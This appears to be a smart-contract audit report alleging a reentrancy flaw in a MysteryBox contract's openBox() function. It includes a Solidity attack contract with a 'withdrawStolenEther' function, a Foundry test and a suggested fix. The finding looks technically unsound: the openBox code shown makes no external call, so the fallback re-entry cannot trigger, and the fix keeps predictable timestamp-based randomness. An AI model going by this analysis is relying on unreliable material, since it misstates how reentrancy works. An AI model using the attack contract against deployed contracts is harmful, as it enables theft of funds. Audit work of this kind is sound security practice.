Summary
The openBox() function contains a reentrancy vulnerability that allows an attacker to repeatedly call the function and claim rewards without the proper deduction of boxes. This is caused by the failure to update the contract state (i.e., decrementing boxesOwned) before the function logic is fully executed.
Vulnerability Details
The vulnerability lies in the fact that the state variable boxesOwned[msg.sender] is only decremented after the reward logic is processed. This leaves the contract open to a reentrancy attack, whereby an attacker could re-enter the contract and call the openBox() function multiple times before the state is updated.
Steps in openBox() leading to vulnerability:
require(boxesOwned[msg.sender] > 0, "No boxes to open"); verifies that the user has boxes.
The random value is generated, and the reward is assigned to the user before the state (boxesOwned) is updated.
Only at the end of the function is boxesOwned[msg.sender] -= 1; called, decrementing the user's boxes.
Impact
Potential Reward Manipulation: An attacker could call openBox() repeatedly before the state is updated, allowing them to accumulate rewards without actually reducing the number of boxes they own.
POC
pragma solidity ^0.8.0;
import "../src/MysteryBox.sol";
contract Attack {
MysteryBox public mysteryBox;
address public attacker;
bool public attackInProgress = false;
constructor(address _mysteryBoxAddress) {
mysteryBox = MysteryBox(_mysteryBoxAddress);
attacker = msg.sender;
}
function startAttack() external payable {
require(msg.value >= 0.1 ether, "Insufficient ETH for box purchase");
mysteryBox.buyBox{value: msg.value}();
mysteryBox.openBox();
}
fallback() external payable {
if (!attackInProgress) {
attackInProgress = true;
mysteryBox.openBox();
}
}
function withdrawStolenEther() external {
require(msg.sender == attacker, "Only attacker can withdraw");
payable(attacker).transfer(address(this).balance);
}
receive() external payable {}
}
function testReentrancyAttack() public {
vm.deal(user1, 1 ether);
vm.deal(address(this), 1 ether);
Attack attackContract = new Attack(address(mysteryBox));
vm.prank(user1);
vm.deal(user1, 1 ether);
vm.prank(user1);
attackContract.startAttack{value: 0.1 ether}();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
console2.log("Rewards after attack:", rewards.length);
assertGt(rewards.length, 1, "Attack should have increased reward count without decrementing boxesOwned.");
vm.prank(user1);
attackContract.withdrawStolenEther();
}
Tools Used
manual
Recommendations
Follow the checks-effects-interactions pattern by updating the contract state before performing any further logic:
function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
boxesOwned[msg.sender] -= 1;
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
if (randomValue < 75) {
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
}